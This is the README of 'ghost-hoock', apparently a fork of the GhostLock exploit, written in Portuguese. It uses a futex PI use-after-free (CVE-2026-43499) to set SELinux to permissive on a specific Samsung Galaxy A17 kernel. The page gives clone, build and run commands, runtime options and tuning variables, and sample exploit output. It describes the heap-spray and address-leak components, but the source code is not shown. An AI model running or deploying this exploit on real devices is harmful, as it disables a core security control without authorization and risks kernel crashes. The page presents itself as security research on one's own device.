ghost-hoock

Um fork minimalista do GhostLock que mantém apenas uma primitiva: desligar o SELinux via CVE-2026-43499 (futex PI UAF).

ghost-hoock rodando em um Samsung A17

Índice

• O que é isto
• Como funciona
• O que foi mantido do original
• O que foi removido
• Compilação
• Execução
• Requisitos
• Limitações e riscos
• Estrutura do projeto
• Licença
• Créditos
• Links

O que é isto

ghost-hoock é um fork reduzido do exploit GhostLock de Mobile Hacking Lab, reduzido a uma única primitiva:

Uma escrita restrita via futex PI UAF -> selinux_enforcing = 0.

Sem root, sem sobrescrita de cred, sem canal rwforge, sem UMH, sem configfs. Apenas o mínimo necessário para colocar o SELinux em modo permissivo no kernel vulnerável.

Exemplo de saída em um Samsung Galaxy A17 (SM-A175F, BZA5):

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Depois:

$ getenforce
Permissive

getenforce retorna Permissive

Como funciona

O exploit tem como alvo o CVE-2026-43499 — um use-after-free na cadeia rt_mutex do PI (Priority Inheritance) do futex do kernel Linux. A cadeia no ghost-hoock tem quatro etapas:

*(uint64_t *)target = value | color

O que foi mantido do original

Este é um fork de mobilehackinglab/ghostlock-a17 (MIT). O seguinte foi retirado 1:1 do exploit upstream:

O código auxiliar (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) também foi mantido como está do original.

O que foi removido

O GhostLock original obtém root completo no A17: instala um canal físico de R/W rwforge, faz patch de cred / real_cred, executa um helper UMH com credenciais de init, captura logs e mais. No ghost-hoock, tudo após a primeira escrita restrita foi removido.

O GhostLock original continua mais completo e poderoso que este fork. O ghost-hoock não é um substituto — é um PoC mínimo para uma tarefa estreita: desligar o SELinux.

Compilação

No dispositivo (clang, Termux ou adb shell)

Requer clang e make no $PATH. Testado no Termux; também funciona via adb shell se o toolchain estiver presente.

git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make

Saída: ./ghost-hoock (aarch64, PIE).

Via Android NDK (em um PC)

make NDK=/path/to/android-ndk-r26

ou manualmente:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Verificação de compilação cruzada

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Execução

# copie o binário para algum lugar legível a partir do contexto do shell
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirme que o SELinux está atualmente em enforcing
getenforce
# -> Enforcing

# execute
/data/local/tmp/ghost-hoock

# verifique
getenforce
# -> Permissive

Opções

ghost-hoock [options]
  --attempts N   número de tentativas de W1 (padrão: 20)
  --no-drain     pula slab_drain antes de cada tentativa de W1
  -h, --help     mostra a ajuda

Variáveis de ambiente

· GHOSTLOCK_CORE — 0..N. Núcleo de CPU ao qual a thread consumer é fixada. Padrão: 0. · KPHYS — 0x.... Endereço físico de carregamento do kernel, se for diferente de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Número de páginas slab preparadas durante o spray. Padrão: 32. · PSELECT_SHIFT — -14..14. Deslocamento de palavra do fd_set. Apenas para depuração. · FOPS_MAX_ATTEMPTS — 4..72. Máximo de tentativas de prepare_kernel_page para o payload FOPS. · RWF_DEBUG — qualquer valor. Imprime linhas de depuração da construção do payload.

Requisitos

• Dispositivo: Samsung Galaxy A17 SM-A175F (BZA5) — o alvo para o qual esta tabela de offsets foi extraída.
• Kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• Contexto: deve ser executado a partir do contexto SELinux shell (u:r:shell:s0), não de um app.
• Permissões: nada especial — não requer root. O objetivo principal é desabilitar o SELinux sem root.

Portabilidade: outros dispositivos/kernels precisam de sua própria tabela de offsets. Adicione um novo OFFSETS_ENTRY(...) em include/offsets_bza5.h com offsets de símbolos extraídos de vmlinux/kallsyms para aquela build, depois recompile.

Limitações e riscos

• Kernel panics são possíveis. O fork herda o risco do original: um page_base errado ou uma escrita que caia em memória não relacionada derruba o kernel. O fork tem menos superfície que o original (sem rwforge, sem patch de cred, sem UMH), então é estatisticamente mais seguro, mas não 100% à prova de falhas.
• O KASLR está desligado no BZA5. O exploit depende de slide = 0. Não há vazamento de KASLR neste fork. Se você portá-lo para um kernel com KASLR habilitado, precisará trazer de volta o slide.c do original.
• Somente SELinux. O fork não dá root. Ele apenas escreve 0 em selinux_enforcing. Se você precisa de root, use o ghostlock-a17 completo.
• Escrita única. Apenas a Write 1 (selinux_enforcing = 0) é mantida. Não tente estendê-la para a Write 2 ou para o pipeline rwforge sem entender profundamente a rota PI.
• Requer que a escrita ocorra em ~20 tentativas. Se a primeira tentativa de W1 falhar, o loop tenta novamente. Em um boot recente com o sistema majoritariamente ocioso, normalmente ocorre na tentativa 1.

Estrutura do projeto

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # cabeçalho compartilhado, API
│   ├── offset.h                   # dispatcher de TARGET_CONFIG_H
│   ├── offsets_bza5.h             # offsets de símbolos (somente BZA5)
│   ├── runtime_struct_offsets.h   # offsets dinâmicos de struct (macros _RSO)
│   └── target.h                   # endereços BZA5, layout de payload
├── src/
│   ├── main.c                     # CLI, seleção de offsets, loop W1
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # rota PI + escrita restrita via pselect
│   └── kernelsnitch/              # vazamento de mm_struct (do upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

Licença

MIT — igual ao upstream ghostlock-a17. Veja LICENSE.

Este fork mantém o aviso de copyright original de mobilehackinglab (2026) e adiciona os autores do fork em cima, conforme exigido pelos termos da MIT.

O projeto é publicado estritamente para pesquisa de segurança no seu próprio dispositivo. Executá-lo contra um dispositivo que você não possui é ilegal na maioria das jurisdições.

Créditos

• Mobile Hacking Lab — exploit original ghostlock-a17, no qual este fork é baseado.
• IAIK KernelSnitch — técnica de vazamento de mm_struct.
• Pesquisadores originais do CVE-2026-43499 — pela engenharia reversa do futex PI UAF.

Links

• Exploit upstream: https://github.com/mobilehackinglab/ghostlock-a17
• Este fork: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{Feito para pesquisa. Testado em um único dispositivo físico. Use por sua conta e risco.}